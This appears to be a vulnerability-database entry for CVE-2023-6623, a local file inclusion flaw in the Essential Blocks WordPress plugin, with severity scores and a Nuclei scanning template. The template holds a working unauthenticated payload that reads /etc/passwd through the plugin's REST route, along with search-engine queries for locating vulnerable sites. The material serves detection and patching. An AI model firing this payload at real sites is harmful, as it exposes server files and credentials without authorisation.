9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.071 Low
EPSS
Percentile
94.0%
Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site.
id: CVE-2023-6623
info:
name: Essential Blocks < 4.4.3 - Local File Inclusion
author: iamnoooob,rootxharsh,pdresearch,coldfish
severity: critical
description: |
Wordpress Essential Blocks plugin prior to 4.4.3 was discovered to be vulnerable to a significant Local File Inclusion vulnerability that may be exploited by any attacker, regardless of whether they have an account on the site.
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
remediation: |
Upgrade to the latest version of Essential Blocks 4.4.3 to fix this issue.
reference:
- https://wpscan.com/blog/file-inclusion-vulnerability-fixed-in-essential-blocks-4-4-3/
- https://flysec-blog.blogspot.com/2024/01/cve-2023-6623-file-inclusion.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6623
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-6623
cwe-id: CWE-22
epss-score: 0.07821
epss-percentile: 0.94063
cpe: cpe:2.3:a:wpdeveloper:essential_blocks:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wpdeveloper
product: essential_blocks
framework: wordpress
shodan-query: http.html:/wp-content/plugins/essential-blocks/
fofa-query: body=/wp-content/plugins/essential-blocks/
publicwww-query: "/wp-content/plugins/essential-blocks/"
tags: wpscan,cve,cve2023,wp,wp-plugin,wordpress,essential-blocks,lfi,wpdeveloper
http:
- method: GET
path:
- '{{BaseURL}}/index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={"__file":"/etc%2fpasswd"}'
- '{{BaseURL}}/wp-content/plugins/essential-blocks/readme.txt'
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "regex('root:.*:0:0:', body_1)"
- 'contains(body_2, "Essential Blocks – Page")'
condition: and
# digest: 4a0a004730450220025cd53c7a663651d839f0ad35424da7534ea7cb30906de15667d74376584959022100ed9e6c7a470d28ace1ff2616b51480283f4e46af81bb8fc5e46dbd7a2dc723de:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.071 Low
EPSS
Percentile
94.0%